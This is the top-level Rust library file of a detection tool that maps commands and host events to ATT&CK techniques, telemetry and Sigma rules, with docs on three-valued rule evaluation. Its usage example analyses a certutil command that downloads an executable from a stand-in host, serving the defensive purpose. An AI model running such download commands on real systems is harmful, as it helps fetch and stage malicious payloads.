opseclint_core/lib.rs
1//! The knowledge base and evaluator behind [opseclint], as a library.
2//!
3//! Given a command, a script, or a recorded host event, this crate answers
4//! three questions: which ATT&CK technique(s) the action implements, what host
5//! telemetry it emits, and which detections would fire. It is the substrate
6//! opseclint's binary is built on, published so other tools — a SIEM enrichment
7//! step, a notebook, an MCP server, an agent — can build on the same data
8//! rather than fork it.
9//!
10//! # The shape of an analysis
11//!
12//! ```
13//! use opseclint_core::{analyzer, kb, kb::Platform};
14//!
15//! let kb = kb::load(Platform::WindowsSysmon)?;
16//! let report = analyzer::analyze("certutil -urlcache -f http://x/a.exe a.exe", &kb);
17//!
18//! for finding in &report.findings {
19//! println!("{} — {}", finding.rule_id, finding.description);
20//! for t in &finding.techniques {
21//! println!(" {} {}", t.id, t.name);
22//! }
23//! for signal in &finding.telemetry {
24//! println!(" emits: {signal}");
25//! }
26//! }
27//! # Ok::<(), opseclint_core::KbError>(())
28//! ```
29//!
30//! [`sigma`] enriches that report from a real SigmaHQ checkout, and
31//! [`telemetry`] takes the other direction — recorded sensor events in, the
32//! same [`Report`] out.
33//!
34//! # Uncertainty is a value, not an absence
35//!
36//! [`sigma_eval`] is three-valued on purpose. A command line is not a host
37//! event, so a rule keyed on a field the input cannot carry — `ParentImage`, a
38//! hash, a registry value — evaluates to [`Outcome::Indeterminate`], never to
39//! "no". Treat that verdict as its own answer: rounding it to *not detected* is
40//! the one misuse of this crate that turns a careful result into a false claim
41//! of stealth. Absence of a finding is not evidence of stealth either — the
42//! knowledge base models a bounded set of actions, and [`kb::load`] tells you
43//! which platform you asked about, not that the platform is fully mapped.
44//!
45//! [`Outcome::Indeterminate`]: sigma_eval::Outcome::Indeterminate
46//! [opseclint]: https://github.com/ezekiellabs/opseclint
47//!
48//! # Feature flags
49//!
50//! - `clap` — derive `clap::ValueEnum` on [`kb::Platform`],
51//! [`telemetry::Format`], and [`edr::Vendor`], for consumers that accept them
52//! as command-line flag values. Off by default.
53
54// Every public item carries documentation, and CI fails the build if one does
55// not. This is a knowledge-base crate: a field named `noise` or a verdict named
56// `Indeterminate` means something specific, and a consumer who guesses at the
57// meaning gets a plausible wrong answer rather than an error.
58#![warn(missing_docs)]
59
60pub mod analyzer;
61pub mod edr;
62pub mod kb;
63pub mod matcher;
64pub mod model;
65pub mod parser;
66pub mod sigma;
67pub mod sigma_eval;
68pub mod telemetry;
69
70// The names a consumer reaches for first. Everything else stays behind its
71// module, where the module docs explain it.
72pub use kb::{KbError, Platform};
73pub use model::{
74 Detection, EdrMapping, Finding, KbEntry, KnowledgeBase, Report, Severity, SideEffect, Technique,
75};
76pub use parser::Command;
77pub use sigma_eval::{Outcome, Verdict};